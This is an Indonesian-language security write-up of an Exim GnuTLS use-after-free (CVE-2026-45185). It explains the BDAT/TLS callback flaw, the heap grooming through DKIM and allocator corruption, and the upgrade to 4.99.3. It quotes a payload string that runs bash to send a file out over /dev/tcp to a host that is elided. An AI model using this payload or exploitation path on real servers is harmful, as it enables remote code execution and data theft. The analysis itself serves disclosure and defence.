Bug ini sebenarnya bukan bug parsing SMTP biasa. Masalah muncul dari cara Exim menangani transisi antara wrapper BDAT dan sesi TLS GnuTLS saat transfer body email masih berjalan. CVE-2026-45185 pada Exim adalah contoh yang sangat jelas tentang bagaimana satu byte write-after-free dapat berkembang menjadi jalur remote code execution yang kompleks.
Bug ini hanya mempengaruhi Exim yang dibangun menggunakan backend GnuTLS. Attacker mengirim STARTTLS, memulai transfer BDAT, lalu menutup sesi TLS di waktu yang tidak tepat. Namun di balik itu, terjadi inkonsistensi state antara wrapper BDAT dan layer TLS internal Exim.
Saat client menjalankan STARTTLS, Exim membuat sesi gnutls_session_t baru dan mengganti seluruh callback receive SMTP menjadi wrapper TLS seperti tls_getc() dan tls_ungetc(). Setelah handshake selesai, Exim membuat xfer_buffer, yaitu buffer plaintext berukuran 4096 byte yang dipakai untuk menerima hasil dekripsi dari gnutls_record_recv().
Masalah mulai muncul ketika SMTP masuk ke mode BDAT. Berbeda dengan DATA, mekanisme BDAT membaca body email berdasarkan ukuran chunk mentah yang ditentukan client. Untuk menangani ini, Exim membangun lapisan callback tambahan. Callback receive lama disimpan ke variabel lwr_receive_*, lalu callback aktif diganti dengan wrapper BDAT seperti bdat_getc() dan bdat_ungetc().
Secara internal, jalurnya berubah menjadi seperti ini:
bdat_getc() - lwr_receive_getc() - tls_getc() - gnutls_record_recv()
Artinya BDAT sebenarnya tidak membaca langsung dari socket, tetapi masih bergantung pada callback TLS lama yang disimpan sebelumnya. Trigger vulnerability terjadi ketika attacker mengirim close_notify sebelum transfer BDAT selesai. Pada kondisi ini, tls_refill() menerima EOF dari GnuTLS dan memanggil tls_close(). Fungsi tersebut menghancurkan sesi TLS dan membebaskan xfer_buffer menggunakan store_free().
Masalahnya, tls_close() hanya mengembalikan callback utama ke mode SMTP plaintext. Callback lama yang tersimpan di lwr_receive_* tidak disentuh sama sekali. Dengan kata lain, wrapper BDAT masih menyimpan referensi ke fungsi TLS yang seharusnya sudah tidak valid.
Pointer xfer_buffer dibebaskan tetapi tidak di-null-kan. Setelah TLS ditutup, parser BDAT tetap berjalan karena chunk body belum selesai diproses. Ketika parser mencoba memperbaiki line ending, Exim memanggil:
bdat_ungetc('\n'); Yang kemudian masuk ke tls_ungetc() dan melakukan write atau menulis ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch;
inilah use-after-free benar-benar terjadi. ssl_xfer_buffer masih menunjuk ke heap chunk yang sudah dibebaskan beberapa langkah sebelumnya. Primitive utama vulnerability ini hanyalah overwrite satu byte berupa \n atau \r. Namun dalam konteks allocator modern, satu byte overwrite pada metadata heap sering kali sudah cukup untuk mengubah bentuk allocator secara drastis. Peneliti XBOW menunjukkan bahwa byte tersebut dapat diarahkan ke field metadata allocator sehingga memungkinkan manipulasi ukuran chunk dan struktur freelist.
Baca Juga Tentang: use-after-free
Hal yang membuat exploit semakin realistis adalah jalur DKIM Exim sendiri. Setelah TLS dihentikan, parser Exim fallback ke mode plaintext dan mulai membaca sisa body email melalui smtp_getc(). Data body tersebut kemudian diproses oleh dkim_exim_verify_feed(), yang melakukan allocation tambahan menggunakan store_malloc().
Ini memberi attacker kemampuan heap grooming di tengah window use-after-free berlangsung. Dengan mengontrol ukuran body email, attacker dapat memaksa allocator mengisi ulang area heap bekas xfer_buffer dengan data yang mereka kendalikan. Walaupun allocation DKIM bersifat temporer, glibc tidak menghapus isi chunk setelah free sehingga data attacker tetap tertinggal di heap. Di sinilah eksploitasi mulai berkembang dari sekadar crash menjadi primitive memory corruption yang lebih serius.
Eksploitasi awal yang dibuat XBOW menggunakan pendekatan khas heap exploitation Linux modern: merusak largebin glibc, meng-overlap FILE structure, lalu melakukan FSOP untuk mendapatkan kontrol eksekusi melalui fflush(). Teknik ini akhirnya memanfaatkan setcontext() untuk pivot ke ROP chain.
Exim menggunakan allocator custom bernama store, yang bekerja dengan pool allocator seperti POOL_MAIN, POOL_MESSAGE, dan POOL_TAINT_MAIN. Setiap pool memiliki metadata berupa storeblock dan pooldesc. Dengan overwrite satu byte terhadap field length allocator, exploit dapat membuat Exim percaya bahwa sebuah block heap memiliki ukuran jauh lebih besar dibanding ukuran sebenarnya.
Akibatnya attacker memperoleh primitive bump allocator palsu. Primitive ini memungkinkan attacker mengontrol posisi allocation berikutnya di pool allocator Exim melalui command SMTP biasa.. Dalam exploit XBOW, primitive ini akhirnya digunakan untuk menimpa pointer global acl_smtp_predata agar menunjuk ke payload ACL attacker. Payload tersebut memanfaatkan fitur ekspansi string Exim ${run{/bin/bash -c 'cat</flag>/dev/tcp/...'}}
Ketika command DATA diproses, Exim mengeksekusi payload tersebut dan attacker memperoleh eksekusi command penuh. Bug ini muncul karena BDAT masih menyimpan callback tls_* setelah tls_close() membebaskan xfer_buffer. Jadi parser body masih mengakses layer TLS yang sebenarnya sudah teardown.
Masalah utamanya ada pada state yang tidak benar-benar reset setelah tls_close(). Callback utama memang dikembalikan ke smtp_*, tetapi lwr_receive_* milik BDAT masih menunjuk ke tls_* wrapper lama. Pada saat yang sama parser body masih aktif dan DKIM tetap melakukan allocation tambahan. Semua subsystem bekerja dengan asumsi state berbeda pada waktu yang sama.
Bagi developer daemon jaringan, ini adalah contoh nyata bahwa bug memory corruption modern sering muncul bukan dari parser tunggal, melainkan dari interaksi antar abstraction layer yang saling membungkus satu sama lain.
Kerentanan ini mempengaruhi Exim 4.97 hingga 4.99.2 dengan backend GnuTLS. Build berbasis OpenSSL tidak terdampak. Saat ini satu-satunya mitigasi yang benar-benar aman adalah upgrade ke Exim 4.99.3, karena patch memperbaiki reset callback dan state parser ketika close_notify diterima di tengah transfer BDAT aktif.
Benediktus Sava – Security Researcher
Sumber:


